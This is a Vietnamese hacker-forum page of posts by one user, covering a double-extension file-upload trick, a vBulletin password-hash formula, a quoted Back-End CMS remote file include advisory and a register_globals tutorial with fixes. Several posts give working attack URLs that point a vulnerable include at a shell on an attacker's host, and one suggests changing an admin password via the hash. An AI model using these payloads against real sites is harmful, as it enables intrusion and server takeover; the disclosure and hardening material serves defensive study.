banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: mrdung  XML
Profile for mrdung Messages posted by mrdung [ number of posts not being displayed on this page: 0 ]
 

KINYO wrote:

mrdung wrote:

Chỉ có server củ chuối lắm mới xảy ra lổi này, hiện tại minetype cho phép thực thi các câu lệnh PHP với các đuôi được cho phép. 


Hi hi bạn nhầm rồi, rất nhiều server xịn cũng bị vì đây là lỗi nhìn theo góc độ của bảo mật, chứ thực ra nó là một feature của Apache, tôi đã check một số tài khoản của mình trên nhiều server khác nhau, tất cả đều cho phép chạy file PHP có đuôi là RAR hay JPG, GIF... 


Bạn có thể cho mình một ví dụ chứ, mình test trên một số sever của aplus.net, bluehost.com...nhưng không bị như bạn nói. Vã lại mình không nghỉ là PHP cho phép biên dịch các mã trong các files có phần mở rộng là GIF...
$Password_vB_Hash = MD5(MD5($password).SALT);
echo $Password_vB_Hash;


Nếu đây là exploit thực thi thì bạn hãy nâng quyền của bạn thành admin,
Hoặc thay đổi pass của admin bằng công thức trên, Ở đây SALT là một trường nằm cuối cùng trong table USER

KINYO wrote:

taianhlacontrai wrote:
để làm thử với localhost trong win được không ? nhưng trong host của win file .htaccess không có tác dụng gì thì phải ?? 


Nếu bạn thử trong Win thì sửa cái mục này trong httpd.conf :

AddType application/x-httpd-php .php .php3 .phtml .html

Muốn nó chạy tệp đuôi kiểu gì cũng được, kể cả tên mình smilie  


Sặc! Mỗi một phần mở rộng đều có một chương trình biên dịch nó, với php3, php5, php thì có php5ts.dll biên dịch các mã của php. Còn *.tenban ai biên dịch vây?
bạn muốn làm *.html cần phải dùng minetype.

KINYO wrote:
Có cái lỗi này to đùng mà chưa thấy ai nhắc tới nhỉ :lol:

Ví dụ ta có đoạn code PHP sau :

Code:
<?php
print( phpinfo( ) );
?>


Save lại thành tệp my_file.php.rar rồi tải lên server bằng script của victim, nếu xác định được chỗ của tệp tin thì sẽ xem được thông tin của server với phpinfo( );, có thể chèn code tùy ý vào tệp PHP này.

Bạn có thể thử bằng chính host của mình, có thể thay .rar bằng .jpg hay .gif để đánh lừa script của victim để nó tưởng là tệp ảnh. Khi ta gõ vào đường dẫn với tên của tệp ảnh đó thì sẽ chạy cái file PHP hoặc Perl (.pl) đó.

Sau khi bạn đã xem post này rồi thì hãy cập nhật ngay các script của mình, cách đơn giản nhất là thay toàn bộ các dấu chấm (.) bằng underscore (_), trừ dấu chấm của đuôi tệp tin ra.

Code:
$file = ereg_replace( "\.", "_", $file );
 


Chỉ có server củ chuối lắm mới xảy ra lổi này, hiện tại minetype cho phép thực thi các câu lệnh PHP với các đuôi được cho phép.

H0angY3nXinhdep wrote:
Chẳng ai tự ti cả, VN có hàng tá người phát hiện bug ý chứ, tuy nhiên phát hiện thật thì phải công bố và credit rõ ràng lên securityfocus hay tracker để mọi người kiểm chứng 


OK, nói chung dungit chỉ thường hay sinh hoạt tai http://milw0rm.com nên post tại đó, và bug thuộc dạng này thì qua đơn giản để hunt thôi, bên mục 'thảo luận bảo mật' mình củng post nguyên nhân rồi, vì nó là 1 trong những bug mình thấy thì mình post lên đây thôi, chứ có gì đâu. Chuyện trùng nhau thì tình cờ, sao các bạn lại trách mình ghê thế ?( Vã lại mình hoàn toàn hiểu nguên nhân gân ra bug thuộc dạng này và nguyên nhân xãy ra exploit thì có gì mà mình phải đi lấy của người khác chứ)...

H0angY3nXinhdep wrote:
Topic : Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability

ExploitAlert Id : 633

Credit : Kacper

Date : 27.5.2006
Download


Exploit Code :

################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
# Back-End CMS - Remote File Include Vulnerabilities
# Find by Kacper (Rahim).
# Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
# Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl
# Site of script: http://www.back-end.org
#
####################################################################
*/

BE_config.php Line 27-31:

Code:
...
// Script timer
require_once($_PSL['classdir'] . '/BE_phpTimer.class');
$scriptTimer = & pslSingleton('phpTimer');
$scriptTimer->start('main');
/* Use Example
...



/*

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts]

#Elo smilie


ExploitAlert Id : 633

Credit : Kacper
http://securityreason.com/exploitalert/633
Date : 27.5.2006
Bạn Dũnglà chủ nhân hồi nào vậy? 


Ôi sorry! Thực lòng bug này cũng do mình hunt thực và post tai đây:
http://forum.milw0rm.com/viewtopic.php?p=1531

Và củng public tại vniss.
Có lẻ trước đây lảo thâm nhập vào server của HVA thông qua exploit của IPB phiên bản mà HVA sử dụng lúc đó, Lúc đó chắc lảo xem hết các nội dung các file mà HVA sử dụng nhỉ ?
Back-End (BE_config.php) - Remote Include Files

--------------------------------------------------------------------------------

Script:Back-End CMS <= 0.7.2.1
Found by : n2dung@gmail.com
Homepage: http://back-end.org
<?php
// $Id: BE_config.php,v 1.147 2005/06/22 20:40:33 mgifford Exp $
/**
* Back-End configuration file
*
* @package Back-End
* @version 0.7 $Id: BE_config.php,v 1.147 2005/06/22 20:40:33 mgifford Exp $
* @copyright Copyright (C) 2003 OpenConcept Consulting
*
* This file is part of Back-End.
*
* Back-End is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Back-End is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Back-End; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

// Script timer
require_once($_PSL['classdir'] . '/BE_phpTimer.class');  


http://www.example.com/BE_config.php?_PSL[classdir]=http://www.attachker/shell.php_? 
*Giới thiệu:
Như các bạn biết thì trong PHP do không cần khai báo biến trước như trong C, C++, C# và PHP lại hổ trợ biến từ trình duyệt. Kết quả của điều này là : Nếu như một coder không chú ý kỉ càng về việc kiểm tra biến, kiểm tra quá trình khởi tạo biến. Hacker sẻ lợi dụng điều này để tạo ra một số biến bất hợp pháp để truy cập và xử lý các câu lệnh bất trái phép ngay trên chính script bị lổi.
*Phương thức:
Vì trong PHP cho phép khởi tạo biến từ forrm ví dụ:
<form action="script.php" method="post">
<input type="text" name="dungit" />
<input type="submit" value="OK" />
</form>

 

Thì trong script.php sẻ tự động tạo ra một biến có tên $dungit và giá trị của nó là giá trị trong ô text nhập vào. Nếu như trong script.php đã có sẳn biến $dungit và biến $dungit chưa được gán giá trị Thì nó sẻ tự động gán giá trị của $dungit bởi giá trị trong ô text nhập vào.

Như vậy dungit lấy một ví dụ:
giả sử trong file common.php (Giả sử file này chỉ là một phần cho file khác nó được dùng để sát nhập vào một file khác(Tôi ví dụ như thế này để sử dụng lại ví dụ này cho cơ chế fixx lổi sau)) của một script nào đó có dạng:
<?php
//........
include($dungit.'confing.php');
//........
?>  


và trong file index.php (File sẻ sử dụng common.php) có dạng:
<?php

//......
include('common.php');
//......
?>  

Nếu như bạn nhình vào common.php và bạn thấy rằng $dungit chưa được khởi gán giá trị thì ...Nó sẻ có bug rất nguy hiểm đó là tôi sẻ gán giá trị cho biến $dungit thành một đường dẩn tới file php của tôi(Shell chẳng hạn)

Tôi sẻ gỏ trên trình duyệt:
a.http://www.domain.com/[script]/common.php?dungit=http://myhosst.com/myshell.inc?

Gỏ như trên tương đương với biến của form theo phương thưc GET. Và khi vào common.php thì các vấn đề sau đây sẻ xảy ra:
Biến $dungit = http://myhosst.com/myshell.inc?
và câu lệnh include sẻ có dạng:
include($dungit.'config.php'); <=> include http://myhosst.com/myshell.inc?config.php);
Cái này có ý nghĩa gì? Nó sẻ truy cập con shell và củng gửi vào con shell biến config.php có gí trị null.Và trong con shell thì không sử dụng biến này nên nó không có ý nghĩa nữa và nó tương đương:
include http://myhosst.com/myshell.inc);
Thế là xong....
b.http://www.domain.com/[script]/common.php?dungit=http://myhosst.com/

Như vậy giá trị của biến $dungit=http://myhosst.com/ và câu lệnh include sẻ có dạng:
include http://myhosst.com/config.php);
Như vậy tôi chỉ cần thay đổi tên con shell trên host của tôi thành config.php thì tôi đã đánh lừa được nó và củng include được shell.

*Nguyên nhân.
À đến đây các bạn sẻ test thử câu lệnh của tôi, và bạn sẻ thấy trang trắng? Đúng.Vì do bạn config file php.ini theo recommend của php.net đối với phiên bản từ 4.2.0 trở lên
Đối với php phiên bản dưới 4.2.0 nếu config file php.ini theo recommend của php.net thì sẻ bị dính bug trên nếu như coder yếu trong secure.

*Fixxed
--> Cách thứ nhất: Lấy lại ví dụ trên:

+Trong file bị dính lổi này bạn thêm vào câu lệnh để nếu như sự truy cập vào nó là trái phep thì php không biên dịch ( thoát) các câu lệnh tiếp theo.

Bạn thêm câu lệnh này ngay đầu tiên của common.php
if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
 


Ý nghĩa: Nếu Hằng ACESSOK không phải là true thì thoát không biên dịch các dòng lệnh tiếp theo.Có nghĩa khi bạn truy cập vào common.php thì nó sẻ thoát.
Như vậy tao được file common.php là
<?php
if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
//........
include($dungit.'confing.php');
//........
?>  

+ Trong tất cả các file có sử dụng common.phpTrong ví dụ này là index.php. bạn phải cho hằng ACCESSOK = true để được phép truy cập các câu lệnh còn lại.
bạn thêm dòng này ngay trước include common.php
define('ACCESSOK', true);
$dungit = null; 

ý nghĩa, khi common.php được include vào index.php thì ACCESSOK đã bằng true nên nó sẻ biên dịch tất cả câu lệnh có trong common.php
Ta khởi tạo biến $dungit=null; để tránh có sự gán biến từ form.Vì sao:
@Thế này nhé giả sử bạn nhập từ form giả sử index.php?dungit=http://www.toshell.com
Khi vào index.php có dạng
<?php
$dungit = 'http://www.toshell.com';
define('ACCESSOK', true);
$dungit = null;
....
?>

Thì out put $dungit vẩn là null.

Vậy file index.php có dạng như sau:
<?php
define('ACCESSOK', true);
$dungit = null;
//......
include('common.php');
//......
?>  

--> Cách 2: hãy config file php.ini theo recommend của php >=4.2.0

Vì sao? Vì cái này lên quan đến biến của PHP là register_global Cho phép tôi không bàn về biến này.
không hiện status HIM là do trình duyệt của bạn không load nổi file javascript, Cái này có thể do thời gian trể của browser của bạn chăng?

neomatrix wrote:
Không hiểu tại sao con Netcat của mình đánh lệnh vào là nó tắt luôn.cho mình con Netcat for Win nhé.đa tạ 


Please use GOOGLE.COM
http://www.google.com.vn/search?hl=vi&q=download+Netcat&meta=

Or download here:
http://www.vulnwatch.org/netcat/
Chúc mừng HVA come back!
 

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|